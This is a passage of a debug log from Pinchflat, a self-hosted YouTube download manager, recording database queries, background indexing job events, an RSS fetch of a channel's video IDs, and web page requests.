shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 20:31:24.081 [debug] QUERY OK source="tasks" db=0.1ms idle=200.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [782, 1, ~U[2026-07-24 20:31:24Z], ~U[2026-07-24 20:31:24Z]] 20:31:24.081 [info] {"args":{"id":1},"id":779,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":202212,"event":"job:stop","queue_time":466003,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:31:24.082 [debug] QUERY OK source="tasks" db=0.3ms idle=1.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:27.679 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:38.899 [info] {"args":{"id":3},"id":780,"meta":{},"system_time":1784925098899216264,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:31:38.899 [debug] QUERY OK source="sources" db=0.1ms idle=1457.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:31:38.899 [debug] QUERY OK source="tasks" db=0.2ms idle=1457.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:38.899 [debug] QUERY OK source="settings" db=0.0ms idle=1008.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:38.900 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:31:38.900 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:38.900 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:38.900 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 20:31:39.083 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 20:31:39.083 [debug] QUERY OK source="media_items" db=0.4ms idle=183.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 20:31:39.086 [debug] QUERY OK source="media_items" db=1.8ms idle=184.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 20:31:39.088 [debug] QUERY OK source="tasks" db=0.0ms idle=188.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [783, 3, ~U[2026-07-24 20:31:39Z], ~U[2026-07-24 20:31:39Z]] 20:31:39.089 [info] {"args":{"id":3},"id":780,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":189756,"event":"job:stop","queue_time":461013,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:31:39.089 [debug] QUERY OK source="tasks" db=0.2ms idle=3.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:57.680 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:00.981 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:32:27.681 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:57.682 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.982 [info] {"source":"oban","duration":102,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:33:27.683 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:46.707 [info] GET /sources/new 20:33:46.707 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 20:33:46.707 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1265.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 20:33:46.707 [debug] QUERY OK source="settings" db=0.0ms idle=1265.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:33:46.708 [debug] QUERY OK source="settings" db=0.0ms idle=675.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:33:46.708 [debug] QUERY OK source="settings" db=0.0ms idle=266.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:33:46.708 [debug] QUERY OK source="settings" db=0.0ms idle=266.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:33:46.708 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:33:46.709 [info] Sent 200 in 2ms 20:33:47.248 [info] GET /sources/3/edit 20:33:47.248 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 20:33:47.249 [debug] QUERY OK source="sources" db=0.1ms idle=540.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:33:47.249 [debug] QUERY OK source="media_profiles" db=0.0ms idle=541.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 20:33:47.249 [debug] QUERY OK source="settings" db=0.0ms idle=541.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:33:47.249 [debug] QUERY OK source="settings" db=0.0ms idle=540.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:33:47.249 [debug] QUERY OK source="settings" db=0.0ms idle=216.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:33:47.250 [info] Sent 200 in 2ms 20:33:47.707 [info] GET /sources/1 20:33:47.707 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 20:33:47.707 [debug] QUERY OK source="sources" db=0.1ms idle=458.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:33:47.708 [debug] QUERY OK source="media_profiles" db=0.0ms idle=458.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:33:47.708 [debug] QUERY OK source="tasks" db=0.2ms idle=458.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 20:33:47.708 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=458.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [782, 31] 20:33:47.708 [debug] QUERY OK source="settings" db=0.0ms idle=458.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:33:47.708 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:33:47.709 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:33:47.709 [debug] QUERY OK source="sources" db=0.0ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:33:47.712 [debug] QUERY OK source="media_items" db=2.1ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 20:33:47.714 [debug] QUERY OK source="media_items" db=1.9ms idle=3.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 20:33:47.714 [debug] QUERY OK source="sources" db=0.0ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:33:47.714 [debug] QUERY OK source="media_items" db=0.1ms idle=5.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 20:33:47.716 [debug] QUERY OK source="media_items" db=1.4ms idle=4.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 20:33:47.716 [debug] QUERY OK source="sources" db=0.1ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:33:47.717 [debug] QUERY OK source="media_items" db=0.7ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 20:33:47.719 [debug] QUERY OK source="media_items" db=2.6ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 20:33:47.720 [info] Sent 200 in 13ms 20:33:48.211 [info] GET /sources/2/edit 20:33:48.211 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 20:33:48.212 [debug] QUERY OK source="sources" db=0.2ms idle=495.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:33:48.212 [debug] QUERY OK source="media_profiles" db=0.1ms idle=495.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 20:33:48.212 [debug] QUERY OK source="settings" db=0.0ms 